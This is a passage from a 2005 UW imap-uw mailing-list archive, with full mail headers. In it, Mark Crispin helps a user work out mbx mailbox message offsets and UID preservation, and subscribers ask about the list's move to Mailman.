starting with a 2048 byte offset and using the sizes from the message headers to advance forward to each message header Option 1 is risky in that it might come across a message who's body contains that regex Option 2 looks to be that answer but so far my calculated offset's are not lining up with message header locations. They always seem to be off by varying amounts. Any suggests on this? Regards, Darren Jacobs _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 08:42:16 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 08:42:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LFgGkj029160 for ; Thu, 21 Apr 2005 08:42:16 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LFgF8M022100 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 08:42:15 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LFfrFO026737; Thu, 21 Apr 2005 08:41:53 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LFfqoc026729 for ; Thu, 21 Apr 2005 08:41:52 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LFfpVn031403 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 21 Apr 2005 08:41:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LFfp7Q012498; Thu, 21 Apr 2005 08:41:51 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.37.173]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LFfoUA022487 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 21 Apr 2005 08:41:50 -0700 Date: Thu, 21 Apr 2005 08:41:50 -0700 (PDT) From: Mark Crispin To: Darren Jacobs In-Reply-To: <4267AA5D.5070702@utoronto.ca> Message-ID: References: <425FE9F9.7060107@utoronto.ca> <4267AA5D.5070702@utoronto.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: location of uid of a message in a mbx folder X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I understand what you're trying to do. You are correct that, since mailutil creates a new mailbox, the UIDVALIDITY and message UIDs are not preserved. You have to do much more than your proposed procedure though. You have to copy the UIDVALIDITY and UIDLAST values from the traditional UNIX mailbox (either in the hidden message or in an X-IMAPbase: header). You have to process internaldate, flags, and keywords and convert those to mbx form; the Status:, X-Status:, X-Keywords:, and X-UID: headers are *not* used in mbx format and must not appear. I don't know what you mean by "the sizes from the message headers" but if you mean the bogus SVR4 Content-Length: header, that header is completely useless. Ignore it; you have to locate the internal start-of-message header, and manually calculate the message size. Note that traditional UNIX format uses LF-only newlines as in normal UNIX files, whereas mbox format uses CRLF-newlines; you have to account for that (you can not just copy the texts either). mbx format sizes are quite different. This is not an easy task, and there are lots of things that can go wrong. The easiest way would be just to use mailutil copy, and then manually patch the UID data (remember you must copy UIDVALIDITY and UIDLAST as well!) into the file. A program to do the latter task would not be easy, but it will be much easier than what you're proposing. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 11:36:51 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 11:36:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LIaoAM005773 for ; Thu, 21 Apr 2005 11:36:50 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIan6k011985 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 11:36:50 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIaQLD022868; Thu, 21 Apr 2005 11:36:26 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIaQ4x022847 for ; Thu, 21 Apr 2005 11:36:26 -0700 Received: from bureau14.utcc.utoronto.ca (bureau14.utcc.utoronto.ca [128.100.132.42]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIaPLW031308 for ; Thu, 21 Apr 2005 11:36:25 -0700 Received: from cicely.cns.utoronto.ca ([128.100.103.144] EHLO [127.0.0.1] ident: IDENT-NOT-QUERIED [port 4978]) by bureau14.utcc.utoronto.ca with ESMTP id <890320-27107>; Thu, 21 Apr 2005 14:35:38 -0400 Message-ID: <4267F277.8040303@utoronto.ca> Date: Thu, 21 Apr 2005 14:35:35 -0400 From: Darren Jacobs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin References: <425FE9F9.7060107@utoronto.ca> <4267AA5D.5070702@utoronto.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: location of uid of a message in a mbx folder X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > > I don't know what you mean by "the sizes from the message headers" but > if you mean the bogus SVR4 Content-Length: header, that header is > completely useless. Ignore it; you have to locate the internal > start-of-message header, and manually calculate the message size. > Note that traditional UNIX format uses LF-only newlines as in normal > UNIX files, whereas mbox format uses CRLF-newlines; you have to > account for that (you can not just copy the texts either). mbx format > sizes are quite different. I was refering to the RFC822 message size specified in the mbx header. For instance: ---- 18-Apr-2005 15:57:59 -0400,*2762*;000000000001-00000000 --- for this header its 2762. I thought that I could simply read this, add the previous offset and get the location of the next message header in the folder. For instance, to get the location of the 2nd message in the folder I'd add 2048 to the RFC822 message size of the first message (say 2762), and get the location in the file of the next message, that is 4810. Then I'd do a seek with this number to get to the appropriate spot in the file. However it seems that this message size number (a) is not what I think it is or (b) not accurate as when I try doing the above I never get a number that gets me to the right spot in the file. Its probably (a). I was hoping to avoid having to calculate the message size manually by doing this. Darren.... _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 11:51:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 11:51:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LIpmEM006608 for ; Thu, 21 Apr 2005 11:51:48 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIplD6001270 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 11:51:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIpdK6025515; Thu, 21 Apr 2005 11:51:39 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIpBKR025302 for ; Thu, 21 Apr 2005 11:51:11 -0700 Received: from bureau14.utcc.utoronto.ca (bureau14.utcc.utoronto.ca [128.100.132.42]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIpBNZ005408 for ; Thu, 21 Apr 2005 11:51:11 -0700 Received: from cicely.cns.utoronto.ca ([128.100.103.144] EHLO [127.0.0.1] ident: IDENT-NOT-QUERIED [port 1036]) by bureau14.utcc.utoronto.ca with ESMTP id <890339-27115>; Thu, 21 Apr 2005 14:51:07 -0400 Message-ID: <4267F613.1000800@utoronto.ca> Date: Thu, 21 Apr 2005 14:50:59 -0400 From: Darren Jacobs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin , imap-uw@u.washington.edu Subject: Re: [Imap-uw] Re: location of uid of a message in a mbx folder References: <425FE9F9.7060107@utoronto.ca> <4267AA5D.5070702@utoronto.ca> <4267F277.8040303@utoronto.ca> In-Reply-To: <4267F277.8040303@utoronto.ca> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Darren Jacobs wrote: > Mark Crispin wrote: > >> >> I don't know what you mean by "the sizes from the message headers" >> but if you mean the bogus SVR4 Content-Length: header, that header is >> completely useless. Ignore it; you have to locate the internal >> start-of-message header, and manually calculate the message size. >> Note that traditional UNIX format uses LF-only newlines as in normal >> UNIX files, whereas mbox format uses CRLF-newlines; you have to >> account for that (you can not just copy the texts either). mbx >> format sizes are quite different. > > > I was refering to the RFC822 message size specified in the mbx > header. For instance: > ---- > 18-Apr-2005 15:57:59 -0400,*2762*;000000000001-00000000 > --- > for this header its 2762. I thought that I could simply read this, > add the previous offset and get the location of the next message > header in the folder. For instance, to get the location of the 2nd > message in the folder I'd add 2048 to the RFC822 message size of the > first message (say 2762), and get the location in the file of the next > message, that is 4810. Then I'd do a seek with this number to get to > the appropriate spot in the file. > However it seems that this message size number (a) is not what I think > it is or (b) not accurate as when I try doing the above I never get a > number that gets me to the right spot in the file. Its probably (a). > I was hoping to avoid having to calculate the message size manually by > doing this. > ...and I just discovered what I was doing wrong. I was not adding the length of the message header to the RFC822 message size when I calculated the offset (i.e. [previous offset + RFC822 message size + length of msg hdr] ). Seems to work quite nicely now. Thanks Mark. Darren.... Darren..... _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 11:56:24 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 11:56:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LIuNcE006808 for ; Thu, 21 Apr 2005 11:56:24 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIuM5W014394 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 11:56:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIu3uQ026300; Thu, 21 Apr 2005 11:56:03 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIro2P025885 for ; Thu, 21 Apr 2005 11:53:50 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxe1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LIrg37031292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 21 Apr 2005 11:53:48 -0700 Received: from [192.168.1.1] (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.12.8/8.12.8) with ESMTP id j3LIrbKA012076 for ; Thu, 21 Apr 2005 14:53:38 -0400 Message-ID: <4267F6B2.3090100@samera.com.py> Date: Thu, 21 Apr 2005 14:53:38 -0400 From: "Oliver Schulze L." User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.4 () ALL_TRUSTED X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Scanned-By: Samera.com.py - MIMEdefang.org 2.51 - ClamAV.net 0.83 - SpamAssassin.org 3.02 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Did this list migrated to mailman? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I just noted that my procmail filter stoped to work ;) Cheers, Oliver -- Oliver Schulze L. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 12:21:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 12:21:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LJLexO008188 for ; Thu, 21 Apr 2005 12:21:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJLeiI018768 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:21:40 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJLTaX001824; Thu, 21 Apr 2005 12:21:29 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJLSlE001816 for ; Thu, 21 Apr 2005 12:21:28 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJLRPe025922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 21 Apr 2005 12:21:28 -0700 Received: from homer05.u.washington.edu (homer05.u.washington.edu [140.142.15.39]) by mxout3.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJLQtA004594; Thu, 21 Apr 2005 12:21:26 -0700 Received: from localhost (hugh@localhost) by homer05.u.washington.edu (8.13.3+UW05.01/8.13.4+UW05.04) with ESMTP id j3LJLOGH230910; Thu, 21 Apr 2005 12:21:26 -0700 Date: Thu, 21 Apr 2005 12:21:24 -0700 (PDT) From: Hugh Sheets To: "Oliver Schulze L." Subject: Re: [Imap-uw] Did this list migrated to mailman? In-Reply-To: <4267F6B2.3090100@samera.com.py> Message-ID: References: <4267F6B2.3090100@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Yes, this is a Mailman list. Hugh Sheets Manager, Messaging Solutions IT Infrastructure Distributed Systems University of Washington On Thu, 21 Apr 2005, Oliver Schulze L. wrote: > I just noted that my procmail filter stoped to work ;) > > Cheers, > Oliver > > -- > Oliver Schulze L. > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 12:41:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 12:41:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LJfwdO009139 for ; Thu, 21 Apr 2005 12:41:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJfvJ8007176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:41:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJfn0G005135; Thu, 21 Apr 2005 12:41:49 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJfm17005127 for ; Thu, 21 Apr 2005 12:41:48 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJfdG9000707 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:41:46 -0700 Received: from [192.168.1.1] (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.12.8/8.12.8) with ESMTP id j3LJfWKA022396; Thu, 21 Apr 2005 15:41:37 -0400 Message-ID: <426801F1.4020308@samera.com.py> Date: Thu, 21 Apr 2005 15:41:37 -0400 From: "Oliver Schulze L." User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Hugh Sheets Subject: Re: [Imap-uw] Did this list migrated to mailman? References: <4267F6B2.3090100@samera.com.py> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.4 () ALL_TRUSTED X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Scanned-By: Samera.com.py - MIMEdefang.org 2.51 - ClamAV.net 0.83 - SpamAssassin.org 3.02 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I received a "Welcome to the "Imap-uw" mailing list" yesterday, but I did not subscribe myself. I was subscribed on the c-client list (c-client@u.washington.edu) Was the list migrated? Or I was added to this list? I don't mind been here ;) Thanks Oliver Hugh Sheets wrote: >Yes, this is a Mailman list. > >Hugh Sheets >Manager, Messaging Solutions >IT Infrastructure Distributed Systems >University of Washington > > >On Thu, 21 Apr 2005, Oliver Schulze L. wrote: > > > >>I just noted that my procmail filter stoped to work ;) >> >>Cheers, >>Oliver >> >>-- >>Oliver Schulze L. >> >> >>_______________________________________________ >>Imap-uw mailing list >>Imap-uw@u.washington.edu >>https://mailman1.u.washington.edu/mailman/listinfo/imap-uw >> >> >> -- Oliver Schulze L. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 12:47:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 12:47:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LJl092009322 for ; Thu, 21 Apr 2005 12:47:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJl0hx007436 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:47:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJkrQI005743; Thu, 21 Apr 2005 12:46:53 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJkpUN005719 for ; Thu, 21 Apr 2005 12:46:51 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJko2C003060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:46:50 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJkkGV004939; Thu, 21 Apr 2005 12:46:46 -0700 Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LJkhwS010168 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Apr 2005 12:46:45 -0700 Date: Thu, 21 Apr 2005 12:46:41 -0700 From: Mark Crispin To: "Oliver Schulze L." Subject: Re: [Imap-uw] Did this list migrated to mailman? In-Reply-To: <426801F1.4020308@samera.com.py> Message-ID: References: <4267F6B2.3090100@samera.com.py> <426801F1.4020308@samera.com.py> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 21 Apr 2005, Oliver Schulze L. wrote: > Was the list migrated? Or I was added to this list? I don't mind been here ;) Yes, the list was migrated. We are in the final stages of retiring our old listproc based mailing list processor (the IMAP and c-client lists were two of the last lists to be moved) and we decided to take the opportunity of renaming the list names to less confusing names. In particular, too many people have inadvertantly sent questions about the UW IMAP software to the IMAP list. As part of this, the old c-client list is now named imap-uw. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 12:51:16 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 12:51:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LJpGUv009545 for ; Thu, 21 Apr 2005 12:51:16 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJpFPV007663 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:51:15 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJovYk006369; Thu, 21 Apr 2005 12:50:57 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJou8J006355 for ; Thu, 21 Apr 2005 12:50:56 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxe2.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LJonqB024668 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 12:50:54 -0700 Received: from [192.168.1.1] (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.12.8/8.12.8) with ESMTP id j3LJocKA027887; Thu, 21 Apr 2005 15:50:38 -0400 Message-ID: <42680410.6080105@samera.com.py> Date: Thu, 21 Apr 2005 15:50:40 -0400 From: "Oliver Schulze L." User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Did this list migrated to mailman? References: <4267F6B2.3090100@samera.com.py> <426801F1.4020308@samera.com.py> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.4 () ALL_TRUSTED X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 